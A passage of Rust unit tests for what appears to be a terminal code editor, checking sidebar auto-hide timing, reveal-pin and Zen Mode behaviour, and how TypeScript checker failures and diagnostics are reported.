    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::SUPER))
        .unwrap();
    assert!(app.show_tree);
    assert!(
        !app.sidebar_pinned_open,
        "no pin is banked while the feature is off"
    );

    app.sidebar_auto_hide = true;
    app.focus_pane(Pane::Editor);
    // #302: delivered by the tick, not the focus move. The guarantee under
    // test — that no exemption was banked while the feature was off, so the
    // first collapse after enabling it is not silently eaten — is unchanged.
    assert!(
        app.tick_sidebar_auto_hide_at(
            std::time::Instant::now() + crate::app::sidebar_dwell::AUTO_HIDE_DWELL
        ),
        "the collapse fires"
    );
    assert!(
        !app.show_tree,
        "so the first collapse after enabling it actually happens"
    );
}

/// #294 review: the reveal exemption is ONE-SHOT. Cmd+B reveals without
/// moving focus, so a sticky flag would never be cleared (focus never lands
/// on the tree) and auto-hide would be silently dead for the session.
///
/// #302 moved WHEN the exemption is spent — from the focus move itself to the
/// collapse the dwell later fires — but not WHETHER it is spent. The
/// one-shot guarantee this test exists to protect is unchanged, so the test
/// keeps its assertions and gains the tick that now delivers the collapse.
#[test]
fn the_reveal_exemption_is_consumed_rather_than_sticky() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;

    // Cmd+B-style reveal: exempt the next collapse.
    app.sidebar_pinned_open = true;
    app.focus_pane(Pane::Editor);
    let t0 = std::time::Instant::now();
    let fired = app.tick_sidebar_auto_hide_at(t0 + crate::app::sidebar_dwell::AUTO_HIDE_DWELL);
    assert!(!fired, "the exemption protects this collapse");
    assert!(app.show_tree, "so the sidebar is still up");
    assert!(
        !app.sidebar_pinned_open,
        "and is consumed rather than latching auto-hide off"
    );

    // The very next move collapses, proving the feature re-armed itself.
    app.focus_pane(Pane::Editor);
    let t1 = std::time::Instant::now();
    assert!(
        app.tick_sidebar_auto_hide_at(t1 + crate::app::sidebar_dwell::AUTO_HIDE_DWELL),
        "auto-hide is live again"
    );
    assert!(!app.show_tree, "and the sidebar went down");
}

/// #294 review: the suppression list must cover the modal states the codebase
/// already treats as modal — several are sidebar-targeting flows that are
/// their own fields rather than `Prompt`s, so checking `prompt` alone missed
/// exactly the ones the comment claimed were covered.
#[test]
fn auto_hide_yields_to_real_modal_overlays_and_explorer_drags() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    assert!(app.sidebar_auto_hide_allowed(), "baseline collapses");

    // A command palette is modal and may sit over sidebar space.
    app.command_palette = Some(crate::widgets::command_palette::CommandPalette::new());
    assert!(
        !app.sidebar_auto_hide_allowed(),
        "a modal overlay suppresses the collapse"
    );
    app.command_palette = None;

    // With no activity bar there is no on-screen way back to a collapsed
    // sidebar, so a mouse-only user would be stranded.
    app.activity_bar_visible = false;
    assert!(
        !app.sidebar_auto_hide_allowed(),
        "no reveal affordance means no auto-hide"
    );
    app.activity_bar_visible = true;

    // A focus move the user did not ask for is not a reason to hide chrome.
    // Tick PAST the grace delay: with the collapse deferred (#302), asserting
    // `show_tree` right after the focus move is trivially true for any
    // implementation that defers, suppressed or not. The suppression is only
    // observable once the window has elapsed.
    app.without_auto_hide(|a| a.focus_pane(Pane::Editor));
    assert!(
        !app.tick_sidebar_auto_hide_at(std::time::Instant::now() + AUTO_HIDE_DWELL),
        "a programmatic focus move must not collapse, even after the delay"
    );
    assert!(app.show_tree, "programmatic focus leaves the sidebar alone");
}

/// #302: a click that PASSES THROUGH the panel on its way to the editor must
/// not collapse it under the pointer. #294 collapsed on the focus change
/// itself, so the panel flapped; the collapse now waits out a grace delay, and
/// a return to the sidebar inside that window cancels it outright.
///
/// Written against `focus_pane` and `show_tree` alone, so it fails on the
/// missing BEHAVIOUR rather than on a missing method. The clock-injected
/// assertions live in the tests below.
#[test]
fn a_click_passing_through_the_sidebar_does_not_collapse_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;

    // Precondition: the collapse must be POSSIBLE, or "it stayed up" passes
    // vacuously against a sidebar that could never have gone down.
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: nothing is suppressing auto-hide, so a collapse is live"
    );

    // Focus crosses into the editor. Under #294 this collapsed immediately;
    // under #302 the collapse is only ARMED and the panel is still up.
    app.focus_pane(Pane::Editor);
    assert!(
        app.show_tree,
        "the sidebar stays up for the length of the grace delay"
    );

    // Focus comes back inside the window — the click was passing through.
    app.focus_pane(Pane::Tree);
    assert!(
        app.show_tree,
        "a click through the panel leaves it exactly where it was"
    );

    // Assert the DISARM directly. Ticking alone does not pin it: with focus
    // parked on `Pane::Tree` the tick declines via its own `focus == Pane::Tree`
    // early return, so this test passes even with the disarm deleted. The
    // dwell's own state is the only thing that distinguishes "cancelled" from
    // "declined for an unrelated reason".
    assert!(
        !app.sidebar_dwell.armed(),
        "the return to the sidebar cancelled the pending collapse outright"
    );

    // And nothing fires once the window elapses.
    assert!(
        !app.tick_sidebar_auto_hide_at(std::time::Instant::now() + AUTO_HIDE_DWELL),
        "no collapse after the deadline"
    );
    assert!(
        app.show_tree,
        "so the panel is still up after the window closes"
    );
}

/// #302: a focus move that stays away must still collapse — the grace delay is
/// a delay, not a reprieve. Public-surface half: after the move the panel is
/// still up but a collapse is PENDING, which `tick_sidebar_auto_hide` will
/// deliver. Timing precision is covered by the unit tests on the timer itself.
#[test]
fn leaving_the_sidebar_arms_a_collapse_rather_than_doing_it_immediately() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: a collapse is possible here"
    );

    app.focus_pane(Pane::Editor);
    assert!(app.show_tree, "not collapsed on the focus change itself");

    // Several more focus moves land inside the grace window. None of them may
    // collapse it, and — the trap the issue names — none may push the
    // deadline out either, which the timer's own unit tests pin.
    //
    // Stamped AFTER the arming move on purpose. `due` is `>=`, so an exact
    // deadline would be fine, but a stamp taken BEFORE `focus_pane` is strictly
    // earlier than the anchor `focus_pane` records — `armed_at + DWELL` would
    // then land before the real deadline and the tick would correctly decline.
    // Taken here it is a hair LATER than the anchor, so the tick is genuinely
    // due; the re-arming bug this guards against would push the deadline a full
    // AUTO_HIDE_DWELL out, far beyond that sub-microsecond slack.
    let armed_at = std::time::Instant::now();
    app.focus_pane(Pane::Terminal);
    app.focus_pane(Pane::Editor);
    assert!(app.show_tree, "still up while the window is open");

    // The deadline is measured from the FIRST arm, not the last focus move, so
    // a tick at the original deadline still fires. Without this the pane hops
    // above prove nothing: `show_tree` is set either way before any tick, and
    // a re-arming bug that pushed the deadline out would pass unnoticed.
    assert!(
        app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL),
        "the hops did not push the deadline out — it fires on the original one"
    );
    assert!(!app.show_tree, "and the collapse actually happened");
}

// Sidebar auto-hide tests, a trap worth knowing before you write one: routing
// focus through `Pane::Tree` CLEARS the one-shot reveal pin by design (moving
// into the sidebar means you are using it, so the exemption is released). A
// Tree->Editor round trip is the obvious way to re-arm a collapse, and it
// silently wipes the flag under test. Re-arm via `Pane::Terminal` instead when
// the pin has to survive. This is invisible from the test side and cost one
// misdiagnosed green.

/// #302, the part that is new work rather than a port: #294's one-shot pin is
/// consumed by "the next collapse attempt", but with a timer that stops being
/// a single well-defined event. A deliberate reveal must not lose its
/// protection to an attempt the dwell then CANCELS.
#[test]
fn arming_a_collapse_does_not_consume_the_reveal_pin() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;

    // Precondition: a collapse is otherwise live here, so the exemption is
    // protecting against something real rather than a case that would never
    // have fired.
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: without the pin, this focus move would collapse"
    );

    // A deliberate reveal (Cmd+B) banks the one-shot exemption.
    app.sidebar_pinned_open = true;

    // Focus leaves: this ARMS a collapse but must not spend the exemption,
    // because the collapse has not happened and may yet be cancelled.
    app.focus_pane(Pane::Editor);
    assert!(
        app.sidebar_pinned_open,
        "arming a collapse must not spend the exemption — only firing one does"
    );
    assert!(app.show_tree, "and the sidebar is still up");
}

/// #302: the pin must survive a tick that declines to collapse for a reason
/// that has nothing to do with the pin. Every EARLY decline in
/// `tick_sidebar_auto_hide_at` returns before spending it; the LATE decline —
/// `sidebar_auto_hide_allowed()` being false — sits after the take, so a
/// transient suppression (a seam drag, an open palette, a modal) burns a pin
/// the user never got the benefit of. The suppression clears a moment later
/// and the next collapse proceeds unpinned.
#[test]
fn a_suppressed_tick_does_not_spend_the_reveal_pin() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;

    // Precondition, checked before either the pin or the suppression is set:
    // a collapse is otherwise live here, so both are suppressing something
    // real rather than a case that was never going to fire.
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: without pin or drag, this focus move would collapse"
    );

    // A deliberate reveal (Cmd+B) banks the one-shot exemption.
    app.sidebar_pinned_open = true;

    // Focus leaves: arms the collapse.
    app.focus_pane(Pane::Editor);

    // The user starts dragging the sidebar seam. This suppresses the collapse
    // on its own — independently of the pin — and is transient: it ends when
    // they release the mouse.
    app.splitter_drag = Some(SplitterDrag::Sidebar);

    // Precondition: the drag alone is enough to stop this collapse, so the
    // tick below declines for a reason that is not the pin.
    assert!(
        !app.sidebar_auto_hide_allowed(),
        "precondition: the seam drag suppresses the collapse by itself"
    );

    let now = std::time::Instant::now();
    let collapsed = app.tick_sidebar_auto_hide_at(now + AUTO_HIDE_DWELL);

    assert!(!collapsed, "the drag suppressed this collapse");
    assert!(app.show_tree, "so the sidebar is still up");
    assert!(
        app.sidebar_pinned_open,
        "a collapse stopped by an unrelated suppression must not spend the \
         one-shot exemption — the user never saw the collapse it was banked for"
    );

    // The pin surviving is only half the contract: it must still be SPENDABLE.
    // A fix that keeps the pin by making the collapse permanently unreachable
    // satisfies the assertion above and is strictly worse than the bug. So
    // release the drag and let the collapse the pin was banked for happen.
    //
    // Re-arm WITHOUT routing focus through `Pane::Tree`: moving into the
    // sidebar deliberately releases the pin (mod.rs, the `Pane::Tree` arm), so
    // a Tree->Editor round trip would clear the very flag under test. Focus is
    // already on Editor here; the dwell is what needs re-arming.
    app.splitter_drag = None;
    app.focus_pane(Pane::Terminal);
    let pinned_collapse = app.tick_sidebar_auto_hide_at(now + AUTO_HIDE_DWELL * 2);
    assert!(!pinned_collapse, "the pin exempts this one");
    assert!(app.show_tree, "so the sidebar survives it");
    assert!(
        !app.sidebar_pinned_open,
        "and NOW the exemption is spent — it was banked for exactly this"
    );

    app.focus_pane(Pane::Editor);
    let unpinned_collapse = app.tick_sidebar_auto_hide_at(now + AUTO_HIDE_DWELL * 3);
    assert!(
        unpinned_collapse,
        "with the exemption spent, the next collapse fires — a pin that can \
         never be spent is a sidebar that can never auto-hide"
    );
    assert!(!app.show_tree, "and the sidebar is finally down");
}

/// #302: a reveal under Zen Mode must not bank a pin. No collapse can fire
/// while Zen owns the chrome, so the pin would sit unconsumed and then eat the
/// first legitimate collapse after Zen exits — the exact failure
/// `toggle_side_bar` already guards against when auto-hide is off.
#[test]
fn a_reveal_under_zen_mode_banks_no_pin() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = false;

    // Precondition: with Zen off, this same reveal DOES bank a pin — so the
    // assertion below is about Zen, not about the reveal failing generally.
    app.toggle_side_bar();
    assert!(
        app.sidebar_pinned_open,
        "precondition: a normal reveal banks the one-shot pin"
    );

    // Back to a hidden sidebar, now under Zen Mode.
    app.toggle_side_bar();
    app.zen_mode = true;
    app.activity_bar_visible = false;

    app.toggle_side_bar();
    assert!(app.show_tree, "the reveal still shows the sidebar");
    assert!(
        !app.sidebar_pinned_open,
        "but banks no pin: nothing can spend it until Zen exits, and a pin \
         held that long eats a collapse the user never connected to it"
    );
}

/// #302: a collapse blocked by a TRANSIENT suppression must be retried once
/// that suppression lifts, not abandoned. The tick disarming before it asks
/// `sidebar_auto_hide_allowed()` drops the pending collapse on the floor, and
/// nothing re-arms it but a fresh focus move — so a user whose palette was open
/// during the grace window keeps a sidebar that never auto-hides again.
#[test]
fn a_transiently_suppressed_collapse_is_retried_once_the_suppression_lifts() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;

    // Precondition: a collapse is genuinely live here.
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: nothing is suppressing auto-hide yet"
    );

    // NOTE: `maybe_auto_hide_sidebar` stamps the anchor with its OWN
    // `Instant::now()`, so a deadline computed from a timestamp taken HERE is
    // fractionally too early and the tick declines as not-yet-due — which
    // looks exactly like the suppression working. Anchor the deadlines to a
    // point comfortably past any real arm instead.
    app.focus_pane(Pane::Editor);
    let armed_at = std::time::Instant::now();

    // A transient suppression appears DURING the grace window.
    app.command_palette = Some(crate::widgets::command_palette::CommandPalette::new());
    assert!(
        !app.sidebar_auto_hide_allowed(),
        "precondition: the open palette suppresses the collapse"
    );

    // The window elapses while it is still open: correctly declines.
    // Precondition: the deadline really has elapsed, so a decline here is the
    // palette and not the timer. Proven by the far-future tick at the end,
    // which fires with the identical deadline once the palette is gone.
    assert!(
        !app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 5),
        "the palette suppresses this collapse"
    );
    assert!(app.show_tree, "so the sidebar is still up");

    // The user closes the palette. NO new focus move — focus never left the
    // editor, so nothing re-arms; the pending collapse must survive on its own.
    app.command_palette = None;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: with the palette closed the collapse is live again"
    );

    assert!(
        app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 5),
        "the collapse the palette deferred must still fire once it closes — \
         a transient suppression delays the collapse, it does not cancel it"
    );
    assert!(!app.show_tree, "and the sidebar is finally down");
}

/// #302: toggling the auto-hide SETTING drops any pending collapse. The
/// function's own comment promises turning it on "takes effect at the next
/// focus move rather than retroactively yanking it away" — a dwell left armed
/// across an off/on round trip breaks that promise on the next idle tick, with
/// no focus move of the user's own.
#[test]
fn toggling_the_auto_hide_setting_drops_a_pending_collapse() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: collapse is live"
    );

    let armed_at = std::time::Instant::now();
    app.focus_pane(Pane::Editor);
    assert!(
        app.sidebar_dwell.armed(),
        "precondition: a collapse is pending"
    );

    // The user turns the feature off, then changes their mind.
    app.toggle_sidebar_auto_hide();
    app.toggle_sidebar_auto_hide();
    assert!(app.sidebar_auto_hide, "precondition: back on");

    assert!(
        !app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 1000),
        "the collapse armed before the setting was touched must not fire"
    );
    assert!(app.show_tree, "so the sidebar is still up");
}

/// #302: the activity bar is a STRUCTURAL suppression that flips on its own,
/// independently of Zen Mode. A collapse armed while it is hidden must not sit
/// armed and then fire — spending a banked reveal pin — on the first idle tick
/// after the bar comes back.
#[test]
fn hiding_the_activity_bar_drops_a_pending_collapse_and_its_pin() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;

    // A deliberate reveal banks the one-shot pin while the bar is visible.
    app.sidebar_pinned_open = true;
    let armed_at = std::time::Instant::now();
    app.focus_pane(Pane::Editor);
    assert!(
        app.sidebar_dwell.armed(),
        "precondition: a collapse is pending"
    );

    // The user hides the activity bar, then shows it again.
    let root = app.active_workspace_root();
    app.dispatch_menu_action(MenuAction::ToggleActivityBar, root.clone());
    assert!(!app.activity_bar_visible, "precondition: the bar is hidden");
    app.dispatch_menu_action(MenuAction::ToggleActivityBar, root);
    assert!(app.activity_bar_visible, "precondition: the bar is back");

    // Two things mask this test if left alone, and either alone is enough.
    // `dispatch_menu_action` ends by opening the Customize Layout popup, and
    // `sidebar_auto_hide_allowed()` bails on `context_menu.is_some()` — so the
    // tick declines before reaching anything this test is named for. And the
    // pin banked above would absorb the collapse anyway, leaving `!fired` and
    // `show_tree` both true while the pin is silently spent, which IS the
    // failure the hunk exists to prevent. Assert the dwell and the pin
    // directly, with the popup cleared.
    app.context_menu = None;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: nothing else is suppressing the collapse now"
    );
    assert!(
        !app.sidebar_dwell.armed(),
        "the activity-bar toggle cancelled the pending collapse"
    );
    assert!(
        !app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 1000),
        "an idle tick must not collapse after the bar returns"
    );
    assert!(app.show_tree, "so the sidebar is still up");
    assert!(
        !app.sidebar_pinned_open,
        "and hiding the bar dropped the pin rather than holding an \
         unconsumable one across a period where no collapse can fire — the \
         same reason `toggle_side_bar` refuses to bank one in that state"
    );

    // The pin was dropped, so the next deliberate focus move collapses as the
    // user expects rather than being silently exempted by a stale reveal.
    let t1 = std::time::Instant::now();
    app.focus_pane(Pane::Tree);
    app.focus_pane(Pane::Editor);
    assert!(
        app.tick_sidebar_auto_hide_at(t1 + AUTO_HIDE_DWELL * 2),
        "a fresh focus move after the bar returns collapses — no stale pin ate it"
    );
}

/// #302's actual payload: the collapse WAITS. Every other app-level test ticks
/// at the deadline or beyond, so all of them pass against a zero-length window
/// — i.e. against #294's immediate collapse delivered through a tick. Deleting
/// the `due()` check leaves them all green. This is the only test that fails
/// when the grace delay itself is removed, which is what makes it the
/// acceptance test for the feature rather than for its plumbing.
#[test]
fn a_collapse_does_not_fire_inside_the_grace_window() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: a collapse is live here"
    );

    // Stamp BEFORE the arm. `maybe_auto_hide_sidebar` anchors on its own
    // `Instant::now()`, so a deadline derived from a later stamp could land
    // outside the real window and decline as not-yet-due for the wrong reason.
    let before = std::time::Instant::now();
    app.focus_pane(Pane::Editor);

    // Half a window in: the collapse is pending and must not have fired.
    assert!(
        !app.tick_sidebar_auto_hide_at(before + AUTO_HIDE_DWELL / 2),
        "a tick INSIDE the grace window must not collapse — this is the delay"
    );
    assert!(app.show_tree, "so the sidebar is still up mid-window");
    assert!(
        app.sidebar_dwell.armed(),
        "and the collapse is still pending rather than cancelled"
    );

    // Past the window, with focus still away: now it fires.
    assert!(
        app.tick_sidebar_auto_hide_at(before + AUTO_HIDE_DWELL * 3),
        "once the window elapses the collapse delivers"
    );
    assert!(!app.show_tree, "and the sidebar is down");
}

/// #302: a deliberate Cmd+B reveal supersedes a pending automatic collapse.
/// Once a declined tick stays ARMED (so a transient suppression defers rather
/// than cancels), the dwell can outlive the sidebar state it was armed
/// against: the user hides and re-reveals by hand, the reveal banks its
/// one-shot pin, and the very next idle frame tick finds the stale dwell due
/// and spends that pin on a collapse nobody ever saw. The next focus move then
/// takes the sidebar down — the #294 bug, reached by a different door.
#[test]
fn a_manual_reveal_cancels_a_pending_collapse() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: a collapse is live here"
    );

    app.focus_pane(Pane::Editor);
    let armed_at = std::time::Instant::now();

    // A modal defers the collapse. It stays armed by design (that is the
    // transient-suppression retry this PR added).
    app.command_palette = Some(crate::widgets::command_palette::CommandPalette::new());
    assert!(
        !app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 5),
        "precondition: the palette defers this collapse"
    );
    app.command_palette = None;

    // The user hides and re-reveals the sidebar by hand.
    app.toggle_side_bar();
    app.toggle_side_bar();
    assert!(
        app.show_tree && app.sidebar_pinned_open,
        "precondition: the manual reveal banked a one-shot pin"
    );

    // An IDLE frame tick — no focus move, no gesture at all.
    assert!(
        !app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 6),
        "an idle tick must not collapse a sidebar the user just revealed"
    );
    assert!(
        app.sidebar_pinned_open,
        "and must not spend the pin on a collapse the user never saw"
    );

    // So the deliberate reveal still holds across the next move out.
    app.focus_pane(Pane::Editor);
    assert!(
        !app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 20),
        "the reveal survives the next focus move, as #294 guarantees"
    );
    assert!(app.show_tree, "the sidebar is still up");
}

/// #302: disabling and re-enabling auto-hide drops a pin banked beforehand.
/// `toggle_side_bar` refuses to bank one while the feature is off — "a pin set
/// while the feature is off would sit unconsumed and silently eat the first
/// collapse after they turn it on" — and a pin banked BEFORE the user disables
/// it reaches that same stranded state by the other route. The existing
/// `a_reveal_while_auto_hide_is_off_does_not_bank_an_exemption` covers
/// off -> reveal -> enable; this is reveal -> disable -> enable.
#[test]
fn disabling_auto_hide_drops_a_pin_banked_before_it_was_turned_off() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = false;

    app.toggle_side_bar();
    assert!(
        app.show_tree && app.sidebar_pinned_open,
        "precondition: the reveal banked a pin while the feature was on"
    );

    app.toggle_sidebar_auto_hide();
    assert!(!app.sidebar_auto_hide, "precondition: the feature is off");
    assert!(
        !app.sidebar_pinned_open,
        "turning the feature off drops the pin: nothing can consume it while \
         off, so it would eat the first collapse after re-enabling"
    );

    app.toggle_sidebar_auto_hide();
    assert!(app.sidebar_auto_hide, "precondition: back on");
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: a collapse is live again"
    );
    let t0 = std::time::Instant::now();
    app.focus_pane(Pane::Editor);
    assert!(
        app.tick_sidebar_auto_hide_at(t0 + AUTO_HIDE_DWELL * 2),
        "and the first collapse after re-enabling fires — no stranded pin ate it"
    );
}

/// #302: Zen entry must drop the reveal pin as well as the dwell. Zen sets
/// BOTH structural conditions — `activity_bar_visible = false` and
/// `zen_mode = true` — so `toggle_side_bar`'s reason for refusing to bank a
/// pin there ("no collapse can fire for as long as it lasts") applies in full
/// to a pin already held.
///
/// This is a REGRESSION guard, not just an edge case: on main
/// `maybe_auto_hide_sidebar` did an unconditional `mem::take` of the pin on
/// every focus move into the editor or terminal, so any move during or after
/// Zen cleared it. Moving consumption to fire time removed that incidental
/// cleanup, and nothing replaced it at the Zen boundary.
#[test]
fn entering_zen_mode_drops_the_reveal_pin_as_well_as_the_dwell() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = false;

    // A deliberate Cmd+B reveal banks the one-shot exemption.
    app.toggle_side_bar();
    assert!(
        app.show_tree && app.sidebar_pinned_open,
        "precondition: the reveal banked a pin"
    );

    app.toggle_zen_mode();
    assert!(app.zen_mode, "precondition: Zen is on");
    assert!(
        !app.sidebar_pinned_open,
        "Zen entry drops the pin: no collapse can fire while Zen owns the \
         chrome, so a pin held across it is unconsumable and eats the first \
         real collapse afterwards"
    );

    // The user-visible consequence: after Zen, the next deliberate focus move
    // collapses as expected rather than being silently exempted.
    app.toggle_zen_mode();
    assert!(
        !app.zen_mode && app.show_tree,
        "precondition: Zen off, sidebar back"
    );
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: a collapse is live again"
    );
    let t0 = std::time::Instant::now();
    app.focus_pane(Pane::Editor);
    assert!(
        app.tick_sidebar_auto_hide_at(t0 + AUTO_HIDE_DWELL * 2),
        "and it fires — no stale pin from before Zen absorbed it"
    );
}

/// #302: Zen Mode is a STRUCTURAL suppression, not a transient one. The tick
/// stays armed when a drag or a palette defers a collapse, because those end in
/// moments — but Zen can last the session, and a dwell left armed across it
/// fires on the very frame Zen exits, collapsing the sidebar for a focus move
/// the user made an hour earlier.
#[test]
fn entering_zen_mode_cancels_a_pending_collapse_rather_than_deferring_it() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.sidebar_auto_hide = true;
    app.show_tree = true;
    assert!(
        app.sidebar_auto_hide_allowed(),
        "precondition: a collapse is live here"
    );

    app.focus_pane(Pane::Editor);
    let armed_at = std::time::Instant::now();

    // Zen takes over the chrome while the collapse is still pending.
    app.toggle_zen_mode();
    assert!(app.zen_mode, "precondition: Zen is on");
    assert!(!app.show_tree, "precondition: Zen hid the sidebar");

    // The user works in Zen for a long time, then leaves.
    app.toggle_zen_mode();
    assert!(!app.zen_mode, "precondition: Zen is off");
    assert!(
        app.show_tree,
        "precondition: leaving Zen restored the sidebar"
    );

    // A tick far past the original deadline must not fire: that collapse
    // belonged to a focus move from before Zen.
    assert!(
        !app.tick_sidebar_auto_hide_at(armed_at + AUTO_HIDE_DWELL * 1000),
        "a collapse armed before Zen must not fire on the frame Zen exits"
    );
    assert!(app.show_tree, "so the restored sidebar stays up");
}

/// A checker that failed to RUN must not read as a clean project (#256).
///
/// `tsc` prints global errors (`error TS5023: Unknown compiler option`)
/// with no `file(line,col)` prefix, so no matcher claims them and the row
/// count is zero - which is exactly what a clean project looks like.
/// Reporting "no problems" there tells the user their code is fine when the
/// checker never checked it. The exit status is the only thing separating
/// the two, which is why it cannot simply be ignored.
#[cfg(unix)]
#[test]
fn a_project_checker_that_failed_to_run_does_not_report_a_clean_project() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();

    // A failed invocation: non-zero exit, output no matcher claims.
    app.finish_project_check_for_test(
        tmp.path(),
        "error TS5023: Unknown compiler option '--nosuchflag'.\n",
        "",
        false,
    );
    assert!(
        app.status.contains("failed"),
        "an invocation failure must say so, got {:?}",
        app.status
    );
    assert!(
        !app.status.contains("no problems"),
        "and must NOT read as a clean project, got {:?}",
        app.status
    );
    assert!(
        app.status.contains("TS5023"),
        "naming the reason, got {:?}",
        app.status
    );

    // npx reports a missing compiler on STDOUT, not stderr, and opens with
    // a blank line and an ANSI-coloured banner. The earlier version of this
    // test put the text on stderr - the implementation's own wrong
    // assumption, encoded in the fixture, so the bug passed the suite.
    app.finish_project_check_for_test(
        tmp.path(),
        "\n\x1b[41m\x1b[37m This is not the tsc command you are looking for \x1b[0m\n",
        "",
        false,
    );
    assert!(
        app.status.contains("not the tsc command"),
        "the reason is found past a blank line and escapes, got {:?}",
        app.status
    );
    assert!(
        !app.status.contains('\u{1b}'),
        "and carries no escape sequences, got {:?}",
        app.status
    );
    assert_ne!(
        app.status, "The project checker failed: ",
        "an empty reason is the bug this replaced"
    );

    // A genuinely clean project: zero rows AND a zero exit.
    app.finish_project_check_for_test(tmp.path(), "", "", true);
    assert_eq!(
        app.status, "Whole-project check: no problems",
        "a real clean run still reports clean"
    );
}

/// Each producer clears only ITS OWN rows from a shared file (#532).
///
/// `build_diagnostics` held one flat `Vec` per file, so a re-run removed the
/// whole entry and took the other producer's rows with it - and
/// `install_build_diags` recorded a path in `touched` only when the entry was
/// empty, so the SECOND producer to reach a file never listed it and could
/// not clear its rows at all. Two halves of one problem: rows did not carry
/// who produced them.
///
/// #530 made this routine rather than rare: the whole-project sweep reports
/// every file in the project, so it overlaps any pane build by default.
#[test]
fn each_producer_clears_only_its_own_rows_from_a_shared_file() {
    let tmp = tempfile::tempdir().unwrap();
    let shared = tmp.path().join("shared.ts");
    std::fs::write(&shared, "export const a = 1;\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let line = |code: &str| format!("shared.ts(1,1): error {code}: boom.\n");

    // Pane 1 reports the file, then the sweep reports it too.
    app.apply_build_scan(1, Some(tmp.path()), "tsc", &line("TS1001"));
    app.ingest_project_check(Some(tmp.path()), &line("TS2002"));
    app.rebuild_problems();
    let rows = |app: &App| -> Vec<String> {
        app.problems
            .groups()
            .iter()
            .filter(|g| g.path == shared)
            .flat_map(|g| g.items.iter().map(|i| i.message.clone()))
            .collect()
    };
    assert_eq!(
        rows(&app).len(),
        2,
        "both producers' rows are on the shared file, got {:?}",
        rows(&app)
    );

    // The SECOND producer re-runs clean. Its row must go; the pane's stays.
    app.ingest_project_check(Some(tmp.path()), "");
    app.rebuild_problems();
    let after = rows(&app);
    assert_eq!(
        after.len(),
        1,
        "the sweep's row goes and the pane's remains, got {after:?}"
    );
    assert!(
        after[0].contains("TS1001"),
        "the surviving row is the PANE's, not the sweep's: {after:?}"
    );

    // And the reverse: the pane re-runs clean, leaving nothing.
    app.apply_build_scan(1, Some(tmp.path()), "tsc", "");
    app.rebuild_problems();
    assert!(
        rows(&app).is_empty(),
        "with both producers clean the file has no rows, got {:?}",
        rows(&app)
    );
}

/// A file BOTH the sweep and a pane report is counted once, by whoever is
/// reporting (#256).
///
/// `build_diagnostics[f]` holds every producer's items for that file, so
/// summing the store double-counts a shared file. Both orderings are pinned
/// because they fail in opposite directions and one alone would look
/// correct.
///
/// The undercount this doc used to also describe - the second producer never
/// listing a shared file, so it could not clear its rows - was the other half
/// of #532 and is fixed; the rows carry an owner now.
#[cfg(unix)]
#[test]
fn a_file_both_producers_report_is_not_double_counted() {
    let tmp = tempfile::tempdir().unwrap();
